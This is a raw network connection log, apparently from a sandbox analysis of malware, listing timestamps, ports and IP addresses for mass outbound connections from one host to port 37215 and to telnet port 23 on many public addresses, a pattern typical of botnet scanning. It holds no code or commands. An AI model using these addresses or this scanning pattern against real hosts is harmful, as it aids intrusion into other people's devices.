Dec 3, 2024 22:11:44.842216015 CET	5603	37215	192.168.2.23	156.21.67.99
Dec 3, 2024 22:11:44.842216969 CET	5603	37215	192.168.2.23	41.224.150.222
Dec 3, 2024 22:11:44.842216969 CET	5603	37215	192.168.2.23	156.251.250.172
Dec 3, 2024 22:11:44.842226028 CET	5603	37215	192.168.2.23	197.54.83.28
Dec 3, 2024 22:11:44.842231035 CET	5603	37215	192.168.2.23	41.36.191.164
Dec 3, 2024 22:11:44.842242956 CET	5603	37215	192.168.2.23	197.181.31.150
Dec 3, 2024 22:11:44.842242956 CET	5603	37215	192.168.2.23	197.222.187.39
Dec 3, 2024 22:11:44.842243910 CET	5603	37215	192.168.2.23	197.179.66.56
Dec 3, 2024 22:11:44.842247963 CET	5603	37215	192.168.2.23	41.134.222.129
Dec 3, 2024 22:11:44.842257023 CET	5603	37215	192.168.2.23	197.32.193.145
Dec 3, 2024 22:11:44.842257023 CET	5603	37215	192.168.2.23	156.113.213.99
Dec 3, 2024 22:11:44.842263937 CET	5603	37215	192.168.2.23	197.241.224.114
Dec 3, 2024 22:11:44.842273951 CET	5603	37215	192.168.2.23	156.13.92.23
Dec 3, 2024 22:11:44.842281103 CET	5603	37215	192.168.2.23	197.227.115.236
Dec 3, 2024 22:11:44.842281103 CET	5603	37215	192.168.2.23	41.127.222.156
Dec 3, 2024 22:11:44.842288017 CET	5603	37215	192.168.2.23	156.80.142.149
Dec 3, 2024 22:11:44.842307091 CET	5603	37215	192.168.2.23	41.161.152.174
Dec 3, 2024 22:11:44.842309952 CET	5603	37215	192.168.2.23	156.109.178.50
Dec 3, 2024 22:11:44.842314959 CET	5603	37215	192.168.2.23	156.88.170.102
Dec 3, 2024 22:11:44.842315912 CET	5603	37215	192.168.2.23	197.73.10.39
Dec 3, 2024 22:11:44.842319965 CET	5603	37215	192.168.2.23	41.147.77.140
Dec 3, 2024 22:11:44.842320919 CET	5603	37215	192.168.2.23	41.108.178.139
Dec 3, 2024 22:11:44.842319965 CET	5603	37215	192.168.2.23	197.84.137.214
Dec 3, 2024 22:11:44.842333078 CET	5603	37215	192.168.2.23	41.90.57.26
Dec 3, 2024 22:11:44.842334032 CET	5603	37215	192.168.2.23	41.21.79.245
Dec 3, 2024 22:11:44.842344999 CET	5603	37215	192.168.2.23	156.91.248.37
Dec 3, 2024 22:11:44.842350960 CET	5603	37215	192.168.2.23	197.61.244.175
Dec 3, 2024 22:11:44.842358112 CET	5603	37215	192.168.2.23	197.219.131.127
Dec 3, 2024 22:11:44.842358112 CET	5603	37215	192.168.2.23	156.139.243.108
Dec 3, 2024 22:11:44.842358112 CET	5603	37215	192.168.2.23	197.176.22.237
Dec 3, 2024 22:11:44.842359066 CET	5603	37215	192.168.2.23	156.153.229.205
Dec 3, 2024 22:11:44.842365026 CET	5603	37215	192.168.2.23	156.210.240.65
Dec 3, 2024 22:11:44.842371941 CET	5603	37215	192.168.2.23	156.2.87.211
Dec 3, 2024 22:11:44.842377901 CET	5603	37215	192.168.2.23	156.37.208.232
Dec 3, 2024 22:11:44.842381954 CET	5603	37215	192.168.2.23	197.236.53.255
Dec 3, 2024 22:11:44.842391014 CET	5603	37215	192.168.2.23	41.16.170.30
Dec 3, 2024 22:11:44.842397928 CET	5603	37215	192.168.2.23	197.160.227.246
Dec 3, 2024 22:11:44.842426062 CET	5603	37215	192.168.2.23	156.85.202.134
Dec 3, 2024 22:11:44.842427015 CET	5603	37215	192.168.2.23	41.34.27.223
Dec 3, 2024 22:11:44.842427015 CET	5603	37215	192.168.2.23	197.160.82.11
Dec 3, 2024 22:11:44.842427969 CET	5603	37215	192.168.2.23	156.170.64.238
Dec 3, 2024 22:11:44.842433929 CET	5603	37215	192.168.2.23	41.94.145.74
Dec 3, 2024 22:11:44.842438936 CET	5603	37215	192.168.2.23	197.134.229.98
Dec 3, 2024 22:11:44.842444897 CET	5603	37215	192.168.2.23	156.142.77.113
Dec 3, 2024 22:11:44.842453957 CET	5603	37215	192.168.2.23	156.9.93.94
Dec 3, 2024 22:11:44.842456102 CET	5603	37215	192.168.2.23	197.115.14.202
Dec 3, 2024 22:11:44.842458010 CET	5603	37215	192.168.2.23	197.73.228.104
Dec 3, 2024 22:11:44.842467070 CET	5603	37215	192.168.2.23	197.167.157.230
Dec 3, 2024 22:11:44.842470884 CET	5603	37215	192.168.2.23	197.237.145.56
Dec 3, 2024 22:11:44.842475891 CET	5603	37215	192.168.2.23	41.234.69.100
Dec 3, 2024 22:11:44.842488050 CET	5603	37215	192.168.2.23	197.96.182.0
Dec 3, 2024 22:11:44.842489958 CET	5603	37215	192.168.2.23	197.27.180.136
Dec 3, 2024 22:11:44.842495918 CET	5603	37215	192.168.2.23	197.240.109.102
Dec 3, 2024 22:11:44.842511892 CET	5603	37215	192.168.2.23	197.126.151.59
Dec 3, 2024 22:11:44.842513084 CET	5603	37215	192.168.2.23	197.199.170.69
Dec 3, 2024 22:11:44.842516899 CET	5603	37215	192.168.2.23	197.219.17.210
Dec 3, 2024 22:11:44.842519999 CET	5603	37215	192.168.2.23	156.46.147.118
Dec 3, 2024 22:11:44.842524052 CET	5603	37215	192.168.2.23	156.110.146.49
Dec 3, 2024 22:11:44.842531919 CET	5603	37215	192.168.2.23	41.36.74.106
Dec 3, 2024 22:11:44.842539072 CET	5603	37215	192.168.2.23	41.6.53.22
Dec 3, 2024 22:11:44.842539072 CET	5603	37215	192.168.2.23	41.179.9.126
Dec 3, 2024 22:11:44.842545986 CET	5603	37215	192.168.2.23	156.201.75.42
Dec 3, 2024 22:11:44.842549086 CET	5603	37215	192.168.2.23	197.201.54.157
Dec 3, 2024 22:11:44.842555046 CET	5603	37215	192.168.2.23	41.241.11.218
Dec 3, 2024 22:11:44.842571020 CET	5603	37215	192.168.2.23	41.14.176.164
Dec 3, 2024 22:11:44.842571020 CET	5603	37215	192.168.2.23	41.181.158.197
Dec 3, 2024 22:11:44.842576027 CET	5603	37215	192.168.2.23	197.196.229.131
Dec 3, 2024 22:11:44.842576027 CET	5603	37215	192.168.2.23	197.198.224.241
Dec 3, 2024 22:11:44.842586994 CET	5603	37215	192.168.2.23	197.39.253.102
Dec 3, 2024 22:11:44.842592001 CET	5603	37215	192.168.2.23	156.16.121.191
Dec 3, 2024 22:11:44.842597961 CET	5603	37215	192.168.2.23	197.244.102.245
Dec 3, 2024 22:11:44.842607021 CET	5603	37215	192.168.2.23	41.187.239.19
Dec 3, 2024 22:11:44.842612028 CET	5603	37215	192.168.2.23	41.202.101.126
Dec 3, 2024 22:11:44.842621088 CET	5603	37215	192.168.2.23	41.112.176.119
Dec 3, 2024 22:11:44.842621088 CET	5603	37215	192.168.2.23	156.113.189.162
Dec 3, 2024 22:11:44.842622995 CET	5603	37215	192.168.2.23	41.174.176.191
Dec 3, 2024 22:11:44.842634916 CET	5603	37215	192.168.2.23	197.2.188.100
Dec 3, 2024 22:11:44.842639923 CET	5603	37215	192.168.2.23	197.93.154.54
Dec 3, 2024 22:11:44.842645884 CET	5603	37215	192.168.2.23	197.66.67.206
Dec 3, 2024 22:11:44.842658997 CET	5603	37215	192.168.2.23	197.231.98.236
Dec 3, 2024 22:11:44.842662096 CET	5603	37215	192.168.2.23	41.223.243.39
Dec 3, 2024 22:11:44.842662096 CET	5603	37215	192.168.2.23	156.214.121.40
Dec 3, 2024 22:11:44.842662096 CET	5603	37215	192.168.2.23	156.95.143.185
Dec 3, 2024 22:11:44.842667103 CET	5603	37215	192.168.2.23	41.76.23.86
Dec 3, 2024 22:11:44.842679024 CET	5603	37215	192.168.2.23	197.6.91.145
Dec 3, 2024 22:11:45.592443943 CET	23	8163	54.149.74.56	192.168.2.23
Dec 3, 2024 22:11:45.592468977 CET	23	8163	112.209.56.209	192.168.2.23
Dec 3, 2024 22:11:45.592482090 CET	23	8163	117.29.78.85	192.168.2.23
Dec 3, 2024 22:11:45.592493057 CET	23	8163	113.90.137.111	192.168.2.23
Dec 3, 2024 22:11:45.592535973 CET	23	8163	112.101.169.101	192.168.2.23
Dec 3, 2024 22:11:45.592549086 CET	23	8163	173.154.57.75	192.168.2.23
Dec 3, 2024 22:11:45.592559099 CET	23	8163	31.251.70.82	192.168.2.23
Dec 3, 2024 22:11:45.592564106 CET	23	8163	140.25.42.170	192.168.2.23
Dec 3, 2024 22:11:45.592571020 CET	23	8163	23.191.210.80	192.168.2.23
Dec 3, 2024 22:11:45.592576027 CET	23	8163	199.72.225.205	192.168.2.23
Dec 3, 2024 22:11:45.592638016 CET	8163	23	192.168.2.23	112.209.56.209
Dec 3, 2024 22:11:45.592638016 CET	8163	23	192.168.2.23	54.149.74.56
Dec 3, 2024 22:11:45.592638016 CET	8163	23	192.168.2.23	117.29.78.85
Dec 3, 2024 22:11:45.592638016 CET	8163	23	192.168.2.23	113.90.137.111
Dec 3, 2024 22:11:45.592638969 CET	8163	23	192.168.2.23	140.25.42.170
Dec 3, 2024 22:11:45.592650890 CET	8163	23	192.168.2.23	112.101.169.101
Dec 3, 2024 22:11:45.592652082 CET	8163	23	192.168.2.23	173.154.57.75
Dec 3, 2024 22:11:45.592650890 CET	8163	23	192.168.2.23	23.191.210.80
Dec 3, 2024 22:11:45.592658997 CET	8163	23	192.168.2.23	199.72.225.205
Dec 3, 2024 22:11:45.592659950 CET	8163	23	192.168.2.23	31.251.70.82
Dec 3, 2024 22:11:45.712759018 CET	23	8163	95.223.15.176	192.168.2.23
Dec 3, 2024 22:11:45.712778091 CET	23	8163	31.217.43.158	192.168.2.23
Dec 3, 2024 22:11:45.712789059 CET	23	8163	60.99.37.17	192.168.2.23
Dec 3, 2024 22:11:45.712798119 CET	23	8163	180.98.97.51	192.168.2.23
Dec 3, 2024 22:11:45.712814093 CET	23	8163	197.34.60.180	192.168.2.23
Dec 3, 2024 22:11:45.712826014 CET	23	8163	4.101.233.117	192.168.2.23
Dec 3, 2024 22:11:45.712840080 CET	23	8163	65.92.15.214	192.168.2.23
Dec 3, 2024 22:11:45.712902069 CET	23	8163	124.60.106.111	192.168.2.23
Dec 3, 2024 22:11:45.712903023 CET	8163	23	192.168.2.23	31.217.43.158
Dec 3, 2024 22:11:45.712903976 CET	8163	23	192.168.2.23	95.223.15.176
Dec 3, 2024 22:11:45.712913990 CET	23	8163	114.197.223.164	192.168.2.23
Dec 3, 2024 22:11:45.712913990 CET	8163	23	192.168.2.23	65.92.15.214
Dec 3, 2024 22:11:45.712913990 CET	8163	23	192.168.2.23	180.98.97.51
Dec 3, 2024 22:11:45.712917089 CET	8163	23	192.168.2.23	60.99.37.17
Dec 3, 2024 22:11:45.712923050 CET	8163	23	192.168.2.23	197.34.60.180
Dec 3, 2024 22:11:45.712928057 CET	23	8163	74.248.103.174	192.168.2.23
Dec 3, 2024 22:11:45.712939978 CET	8163	23	192.168.2.23	4.101.233.117
Dec 3, 2024 22:11:45.712939978 CET	8163	23	192.168.2.23	124.60.106.111
Dec 3, 2024 22:11:45.712943077 CET	23	8163	149.193.86.187	192.168.2.23
Dec 3, 2024 22:11:45.712960005 CET	23	8163	12.64.189.89	192.168.2.23
Dec 3, 2024 22:11:45.712963104 CET	8163	23	192.168.2.23	74.248.103.174
Dec 3, 2024 22:11:45.712974072 CET	23	8163	101.83.204.153	192.168.2.23
Dec 3, 2024 22:11:45.712976933 CET	8163	23	192.168.2.23	149.193.86.187
Dec 3, 2024 22:11:45.712996006 CET	8163	23	192.168.2.23	12.64.189.89
Dec 3, 2024 22:11:45.712999105 CET	8163	23	192.168.2.23	114.197.223.164
Dec 3, 2024 22:11:45.713000059 CET	23	8163	132.81.152.183	192.168.2.23
Dec 3, 2024 22:11:45.713011980 CET	23	8163	85.202.90.234	192.168.2.23
Dec 3, 2024 22:11:45.713021040 CET	8163	23	192.168.2.23	101.83.204.153
Dec 3, 2024 22:11:45.713035107 CET	23	8163	93.28.129.1	192.168.2.23
Dec 3, 2024 22:11:45.713044882 CET	8163	23	192.168.2.23	132.81.152.183
Dec 3, 2024 22:11:45.713044882 CET	8163	23	192.168.2.23	85.202.90.234
Dec 3, 2024 22:11:45.713083029 CET	23	8163	160.120.105.195	192.168.2.23
Dec 3, 2024 22:11:45.713089943 CET	8163	23	192.168.2.23	93.28.129.1
Dec 3, 2024 22:11:45.713094950 CET	23	8163	199.178.64.112	192.168.2.23
Dec 3, 2024 22:11:45.713099957 CET	23	8163	155.110.114.69	192.168.2.23
Dec 3, 2024 22:11:45.713123083 CET	8163	23	192.168.2.23	199.178.64.112
Dec 3, 2024 22:11:45.713128090 CET	8163	23	192.168.2.23	160.120.105.195
Dec 3, 2024 22:11:45.713129997 CET	23	8163	220.145.170.24	192.168.2.23
Dec 3, 2024 22:11:45.713141918 CET	8163	23	192.168.2.23	155.110.114.69
Dec 3, 2024 22:11:45.713145018 CET	23	8163	4.210.201.249	192.168.2.23
Dec 3, 2024 22:11:45.713155985 CET	23	8163	109.9.199.91	192.168.2.23
Dec 3, 2024 22:11:45.713177919 CET	23	8163	166.15.228.247	192.168.2.23
Dec 3, 2024 22:11:45.713179111 CET	8163	23	192.168.2.23	4.210.201.249
Dec 3, 2024 22:11:45.713181019 CET	8163	23	192.168.2.23	220.145.170.24
Dec 3, 2024 22:11:45.713191032 CET	23	8163	40.27.173.45	192.168.2.23
Dec 3, 2024 22:11:45.713212013 CET	8163	23	192.168.2.23	109.9.199.91
Dec 3, 2024 22:11:45.713219881 CET	8163	23	192.168.2.23	166.15.228.247
Dec 3, 2024 22:11:45.713233948 CET	23	8163	66.184.171.170	192.168.2.23
Dec 3, 2024 22:11:45.713236094 CET	8163	23	192.168.2.23	40.27.173.45
Dec 3, 2024 22:11:45.713244915 CET	23	8163	183.53.218.128	192.168.2.23
Dec 3, 2024 22:11:45.713254929 CET	23	8163	160.228.194.139	192.168.2.23
Dec 3, 2024 22:11:45.713265896 CET	23	8163	108.81.147.236	192.168.2.23
Dec 3, 2024 22:11:45.713285923 CET	8163	23	192.168.2.23	66.184.171.170
Dec 3, 2024 22:11:45.713289022 CET	8163	23	192.168.2.23	183.53.218.128
Dec 3, 2024 22:11:45.713300943 CET	8163	23	192.168.2.23	160.228.194.139
Dec 3, 2024 22:11:45.713301897 CET	8163	23	192.168.2.23	108.81.147.236
Dec 3, 2024 22:11:45.810142040 CET	8163	23	192.168.2.23	153.189.229.31
Dec 3, 2024 22:11:45.810142040 CET	8163	23	192.168.2.23	62.17.217.224
Dec 3, 2024 22:11:45.810147047 CET	8163	23	192.168.2.23	204.215.117.188
Dec 3, 2024 22:11:45.810153008 CET	8163	23	192.168.2.23	78.191.254.81
Dec 3, 2024 22:11:45.810162067 CET	8163	23	192.168.2.23	111.32.64.222
Dec 3, 2024 22:11:45.810162067 CET	8163	23	192.168.2.23	156.240.39.184
Dec 3, 2024 22:11:45.810162067 CET	8163	23	192.168.2.23	143.221.129.131
Dec 3, 2024 22:11:45.810165882 CET	8163	23	192.168.2.23	36.47.45.209
Dec 3, 2024 22:11:45.810174942 CET	8163	23	192.168.2.23	110.60.57.14
Dec 3, 2024 22:11:45.810184956 CET	8163	23	192.168.2.23	72.138.31.212
Dec 3, 2024 22:11:45.810190916 CET	8163	23	192.168.2.23	45.101.78.242
Dec 3, 2024 22:11:45.810190916 CET	8163	23	192.168.2.23	137.51.58.14
Dec 3, 2024 22:11:45.810208082 CET	8163	23	192.168.2.23	152.173.233.125
Dec 3, 2024 22:11:45.810208082 CET	8163	23	192.168.2.23	200.90.106.188
Dec 3, 2024 22:11:45.810208082 CET	8163	23	192.168.2.23	110.177.222.162
Dec 3, 2024 22:11:45.810229063 CET	8163	23	192.168.2.23	146.99.178.183
Dec 3, 2024 22:11:45.810230970 CET	8163	23	192.168.2.23	179.236.23.166
Dec 3, 2024 22:11:45.810231924 CET	8163	23	192.168.2.23	69.146.1.48
Dec 3, 2024 22:11:45.810235023 CET	8163	23	192.168.2.23	106.212.218.143
Dec 3, 2024 22:11:45.810247898 CET	8163	23	192.168.2.23	62.12.197.216
Dec 3, 2024 22:11:45.810249090 CET	8163	23	192.168.2.23	93.90.69.215
Dec 3, 2024 22:11:45.810249090 CET	8163	23	192.168.2.23	139.236.56.183
Dec 3, 2024 22:11:45.810250044 CET	8163	23	192.168.2.23	38.55.136.156
Dec 3, 2024 22:11:45.810251951 CET	8163	23	192.168.2.23	183.187.126.59
Dec 3, 2024 22:11:45.810251951 CET	8163	23	192.168.2.23	1.188.183.116
Dec 3, 2024 22:11:45.810250998 CET	8163	23	192.168.2.23	34.170.136.168
Dec 3, 2024 22:11:45.810251951 CET	8163	23	192.168.2.23	178.180.152.122
Dec 3, 2024 22:11:45.810264111 CET	8163	23	192.168.2.23	217.113.253.22
Dec 3, 2024 22:11:45.810272932 CET	8163	23	192.168.2.23	41.105.145.61
Dec 3, 2024 22:11:45.810272932 CET	8163	23	192.168.2.23	179.60.197.18
Dec 3, 2024 22:11:45.810273886 CET	8163	23	192.168.2.23	116.50.54.135
Dec 3, 2024 22:11:45.810272932 CET	8163	23	192.168.2.23	219.143.228.72
Dec 3, 2024 22:11:45.810272932 CET	8163	23	192.168.2.23	99.19.70.31
Dec 3, 2024 22:11:45.810272932 CET	8163	23	192.168.2.23	115.193.232.204
Dec 3, 2024 22:11:45.810276031 CET	8163	23	192.168.2.23	57.50.164.13
Dec 3, 2024 22:11:45.810276985 CET	8163	23	192.168.2.23	180.171.224.171
Dec 3, 2024 22:11:45.810272932 CET	8163	23	192.168.2.23	139.114.93.212
Dec 3, 2024 22:11:45.810276985 CET	8163	23	192.168.2.23	69.22.53.126
Dec 3, 2024 22:11:45.810285091 CET	8163	23	192.168.2.23	200.237.237.183
Dec 3, 2024 22:11:45.810285091 CET	8163	23	192.168.2.23	42.178.186.204
Dec 3, 2024 22:11:45.810285091 CET	8163	23	192.168.2.23	47.41.99.50
Dec 3, 2024 22:11:45.810285091 CET	8163	23	192.168.2.23	96.193.246.13
Dec 3, 2024 22:11:45.810285091 CET	8163	23	192.168.2.23	129.160.129.125
Dec 3, 2024 22:11:45.810286045 CET	8163	23	192.168.2.23	49.192.185.157
Dec 3, 2024 22:11:45.810286045 CET	8163	23	192.168.2.23	221.108.134.90
Dec 3, 2024 22:11:45.810298920 CET	8163	23	192.168.2.23	106.148.139.24
Dec 3, 2024 22:11:45.810302019 CET	8163	23	192.168.2.23	140.133.154.153
Dec 3, 2024 22:11:45.810302019 CET	8163	23	192.168.2.23	68.59.103.216
Dec 3, 2024 22:11:45.810313940 CET	8163	23	192.168.2.23	123.80.220.86
Dec 3, 2024 22:11:45.810317039 CET	8163	23	192.168.2.23	190.169.254.53
Dec 3, 2024 22:11:45.810317039 CET	8163	23	192.168.2.23	114.178.236.229
Dec 3, 2024 22:11:45.810319901 CET	8163	23	192.168.2.23	173.229.109.100
Dec 3, 2024 22:11:45.810326099 CET	8163	23	192.168.2.23	42.108.53.185
Dec 3, 2024 22:11:45.810338974 CET	8163	23	192.168.2.23	60.248.67.83
Dec 3, 2024 22:11:45.810340881 CET	8163	23	192.168.2.23	212.131.212.111
Dec 3, 2024 22:11:45.810342073 CET	8163	23	192.168.2.23	62.69.135.50
Dec 3, 2024 22:11:45.810359001 CET	8163	23	192.168.2.23	137.195.220.87
Dec 3, 2024 22:11:45.810359001 CET	8163	23	192.168.2.23	210.34.115.148
Dec 3, 2024 22:11:45.810360909 CET	8163	23	192.168.2.23	171.38.110.172
Dec 3, 2024 22:11:45.810380936 CET	8163	23	192.168.2.23	208.61.158.80
Dec 3, 2024 22:11:45.810381889 CET	8163	23	192.168.2.23	12.9.177.38
Dec 3, 2024 22:11:45.810381889 CET	8163	23	192.168.2.23	70.200.80.236
Dec 3, 2024 22:11:45.810384035 CET	8163	23	192.168.2.23	201.13.85.137
Dec 3, 2024 22:11:45.810396910 CET	8163	23	192.168.2.23	125.103.36.107
Dec 3, 2024 22:11:45.810398102 CET	8163	23	192.168.2.23	111.166.47.153
Dec 3, 2024 22:11:45.810399055 CET	8163	23	192.168.2.23	139.218.60.54
Dec 3, 2024 22:11:45.810399055 CET	8163	23	192.168.2.23	67.146.208.28
Dec 3, 2024 22:11:45.810408115 CET	8163	23	192.168.2.23	181.62.227.85
Dec 3, 2024 22:11:45.810409069 CET	8163	23	192.168.2.23	118.103.16.15
Dec 3, 2024 22:11:45.810409069 CET	8163	23	192.168.2.23	155.147.71.110
Dec 3, 2024 22:11:45.810409069 CET	8163	23	192.168.2.23	167.35.172.124
Dec 3, 2024 22:11:45.810410023 CET	8163	23	192.168.2.23	132.234.201.98
Dec 3, 2024 22:11:45.810420990 CET	8163	23	192.168.2.23	114.124.214.130
Dec 3, 2024 22:11:45.810427904 CET	8163	23	192.168.2.23	5.22.121.219
Dec 3, 2024 22:11:45.810432911 CET	8163	23	192.168.2.23	68.89.131.21
Dec 3, 2024 22:11:45.810441971 CET	8163	23	192.168.2.23	209.253.132.106
Dec 3, 2024 22:11:45.810461044 CET	8163	23	192.168.2.23	85.64.94.45
Dec 3, 2024 22:11:45.810462952 CET	8163	23	192.168.2.23	169.26.30.181
Dec 3, 2024 22:11:45.810481071 CET	8163	23	192.168.2.23	67.152.204.236
Dec 3, 2024 22:11:45.810482979 CET	8163	23	192.168.2.23	73.81.71.53
Dec 3, 2024 22:11:45.810482979 CET	8163	23	192.168.2.23	87.194.192.170
Dec 3, 2024 22:11:45.810487986 CET	8163	23	192.168.2.23	88.46.215.141
Dec 3, 2024 22:11:45.810487986 CET	8163	23	192.168.2.23	39.7.203.153
Dec 3, 2024 22:11:45.810487986 CET	8163	23	192.168.2.23	176.4.17.130
Dec 3, 2024 22:11:45.810491085 CET	8163	23	192.168.2.23	180.152.22.247
Dec 3, 2024 22:11:45.810492039 CET	8163	23	192.168.2.23	197.35.242.239
Dec 3, 2024 22:11:45.810492039 CET	8163	23	192.168.2.23	86.53.198.105
Dec 3, 2024 22:11:45.810496092 CET	8163	23	192.168.2.23	204.143.104.179
Dec 3, 2024 22:11:45.810499907 CET	8163	23	192.168.2.23	39.140.224.145
Dec 3, 2024 22:11:45.810499907 CET	8163	23	192.168.2.23	59.54.55.190
Dec 3, 2024 22:11:45.810501099 CET	8163	23	192.168.2.23	37.74.10.148
Dec 3, 2024 22:11:45.810518026 CET	8163	23	192.168.2.23	96.7.170.61
Dec 3, 2024 22:11:45.810518980 CET	8163	23	192.168.2.23	2.233.201.194
Dec 3, 2024 22:11:45.810528994 CET	8163	23	192.168.2.23	77.128.113.9
Dec 3, 2024 22:11:45.810547113 CET	8163	23	192.168.2.23	109.249.143.98
Dec 3, 2024 22:11:45.810548067 CET	8163	23	192.168.2.23	19.158.128.5
Dec 3, 2024 22:11:45.810549021 CET	8163	23	192.168.2.23	197.20.33.235
Dec 3, 2024 22:11:45.810549021 CET	8163	23	192.168.2.23	144.82.211.217
Dec 3, 2024 22:11:45.810554028 CET	8163	23	192.168.2.23	145.172.251.143
Dec 3, 2024 22:11:45.810558081 CET	8163	23	192.168.2.23	221.117.103.168
Dec 3, 2024 22:11:45.810559034 CET	8163	23	192.168.2.23	99.146.154.194
Dec 3, 2024 22:11:45.810559034 CET	8163	23	192.168.2.23	62.200.251.83
Dec 3, 2024 22:11:45.810568094 CET	8163	23	192.168.2.23	12.73.61.154
Dec 3, 2024 22:11:45.810573101 CET	8163	23	192.168.2.23	182.169.72.236
Dec 3, 2024 22:11:45.810575962 CET	8163	23	192.168.2.23	202.81.104.238
Dec 3, 2024 22:11:45.810575962 CET	8163	23	192.168.2.23	124.144.229.98
Dec 3, 2024 22:11:45.810575962 CET	8163	23	192.168.2.23	36.56.76.233
Dec 3, 2024 22:11:45.810575008 CET	8163	23	192.168.2.23	121.33.44.99
Dec 3, 2024 22:11:45.810580015 CET	8163	23	192.168.2.23	203.159.173.18
Dec 3, 2024 22:11:45.810579062 CET	8163	23	192.168.2.23	154.133.137.27
Dec 3, 2024 22:11:45.810583115 CET	8163	23	192.168.2.23	132.14.123.253
Dec 3, 2024 22:11:45.810583115 CET	8163	23	192.168.2.23	184.12.68.182
Dec 3, 2024 22:11:45.810584068 CET	8163	23	192.168.2.23	78.172.184.187
Dec 3, 2024 22:11:45.810585022 CET	8163	23	192.168.2.23	52.115.64.194
Dec 3, 2024 22:11:45.810585022 CET	8163	23	192.168.2.23	197.188.111.64
Dec 3, 2024 22:11:45.810590029 CET	8163	23	192.168.2.23	211.249.129.46
Dec 3, 2024 22:11:45.810590982 CET	8163	23	192.168.2.23	45.67.213.150
Dec 3, 2024 22:11:45.810590982 CET	8163	23	192.168.2.23	67.102.83.72
Dec 3, 2024 22:11:45.810590982 CET	8163	23	192.168.2.23	190.133.150.48
Dec 3, 2024 22:11:45.810592890 CET	8163	23	192.168.2.23	64.155.224.157
Dec 3, 2024 22:11:45.810594082 CET	8163	23	192.168.2.23	187.98.100.209
Dec 3, 2024 22:11:45.810595036 CET	8163	23	192.168.2.23	153.132.169.17
Dec 3, 2024 22:11:45.810596943 CET	8163	23	192.168.2.23	187.143.108.251
Dec 3, 2024 22:11:45.810600996 CET	8163	23	192.168.2.23	38.160.86.106
Dec 3, 2024 22:11:45.810600996 CET	8163	23	192.168.2.23	24.11.221.253
Dec 3, 2024 22:11:45.810601950 CET	8163	23	192.168.2.23	108.145.125.121
Dec 3, 2024 22:11:45.810611963 CET	8163	23	192.168.2.23	128.151.168.33
Dec 3, 2024 22:11:45.810615063 CET	8163	23	192.168.2.23	32.52.115.224
Dec 3, 2024 22:11:45.810622931 CET	8163	23	192.168.2.23	2.177.44.182
Dec 3, 2024 22:11:45.810625076 CET	8163	23	192.168.2.23	53.118.74.59
Dec 3, 2024 22:11:45.810641050 CET	8163	23	192.168.2.23	174.227.56.29
Dec 3, 2024 22:11:45.810641050 CET	8163	23	192.168.2.23	95.204.230.244
Dec 3, 2024 22:11:45.810641050 CET	8163	23	192.168.2.23	80.58.200.110
Dec 3, 2024 22:11:45.810642958 CET	8163	23	192.168.2.23	89.2.25.159
Dec 3, 2024 22:11:45.810662031 CET	8163	23	192.168.2.23	105.137.228.73
Dec 3, 2024 22:11:45.810667992 CET	8163	23	192.168.2.23	50.91.71.98
Dec 3, 2024 22:11:45.810668945 CET	8163	23	192.168.2.23	81.158.233.103
Dec 3, 2024 22:11:45.810668945 CET	8163	23	192.168.2.23	174.42.195.231
Dec 3, 2024 22:11:45.810672998 CET	8163	23	192.168.2.23	41.145.15.243
Dec 3, 2024 22:11:45.810674906 CET	8163	23	192.168.2.23	136.110.223.68
Dec 3, 2024 22:11:45.810678005 CET	8163	23	192.168.2.23	95.9.173.223
Dec 3, 2024 22:11:45.810688019 CET	8163	23	192.168.2.23	155.194.235.29
Dec 3, 2024 22:11:45.810693979 CET	8163	23	192.168.2.23	96.37.117.182
Dec 3, 2024 22:11:45.810703993 CET	8163	23	192.168.2.23	25.75.38.154
Dec 3, 2024 22:11:45.810709953 CET	8163	23	192.168.2.23	202.175.13.129
Dec 3, 2024 22:11:45.810713053 CET	8163	23	192.168.2.23	134.85.208.62
Dec 3, 2024 22:11:45.810714960 CET	8163	23	192.168.2.23	101.57.38.134
Dec 3, 2024 22:11:45.810722113 CET	8163	23	192.168.2.23	48.241.123.143
Dec 3, 2024 22:11:45.810723066 CET	8163	23	192.168.2.23	99.161.65.37
Dec 3, 2024 22:11:45.810723066 CET	8163	23	192.168.2.23	158.15.116.153
Dec 3, 2024 22:11:45.810729027 CET	8163	23	192.168.2.23	92.120.212.254
Dec 3, 2024 22:11:45.810743093 CET	8163	23	192.168.2.23	178.1.176.193
Dec 3, 2024 22:11:45.810746908 CET	8163	23	192.168.2.23	94.86.75.119
Dec 3, 2024 22:11:45.810760975 CET	8163	23	192.168.2.23	181.19.228.31
Dec 3, 2024 22:11:45.810766935 CET	8163	23	192.168.2.23	173.20.237.150
Dec 3, 2024 22:11:45.810767889 CET	8163	23	192.168.2.23	32.25.196.29
Dec 3, 2024 22:11:45.810775042 CET	8163	23	192.168.2.23	65.46.208.139
Dec 3, 2024 22:11:45.810775995 CET	8163	23	192.168.2.23	170.54.143.215
Dec 3, 2024 22:11:45.810777903 CET	8163	23	192.168.2.23	172.218.85.175
Dec 3, 2024 22:11:45.810800076 CET	8163	23	192.168.2.23	209.218.147.18
Dec 3, 2024 22:11:45.810801029 CET	8163	23	192.168.2.23	165.173.243.92
Dec 3, 2024 22:11:45.810813904 CET	8163	23	192.168.2.23	161.188.53.88
Dec 3, 2024 22:11:45.810816050 CET	8163	23	192.168.2.23	195.88.49.80
Dec 3, 2024 22:11:45.810822964 CET	8163	23	192.168.2.23	116.156.126.165
Dec 3, 2024 22:11:45.810830116 CET	8163	23	192.168.2.23	153.250.88.156
Dec 3, 2024 22:11:45.810833931 CET	8163	23	192.168.2.23	120.129.30.18
Dec 3, 2024 22:11:45.810837030 CET	8163	23	192.168.2.23	14.90.235.204
Dec 3, 2024 22:11:45.810844898 CET	8163	23	192.168.2.23	107.117.92.120
Dec 3, 2024 22:11:45.810861111 CET	8163	23	192.168.2.23	65.254.218.136
Dec 3, 2024 22:11:45.810862064 CET	8163	23	192.168.2.23	163.219.249.249
Dec 3, 2024 22:11:45.810870886 CET	8163	23	192.168.2.23	61.183.61.7
Dec 3, 2024 22:11:45.810893059 CET	8163	23	192.168.2.23	2.21.157.132
Dec 3, 2024 22:11:45.810894966 CET	8163	23	192.168.2.23	25.4.28.250
Dec 3, 2024 22:11:45.810895920 CET	8163	23	192.168.2.23	110.26.76.169
Dec 3, 2024 22:11:45.810898066 CET	8163	23	192.168.2.23	123.122.102.11
Dec 3, 2024 22:11:45.810898066 CET	8163	23	192.168.2.23	203.187.181.247
Dec 3, 2024 22:11:45.810898066 CET	8163	23	192.168.2.23	102.207.140.120
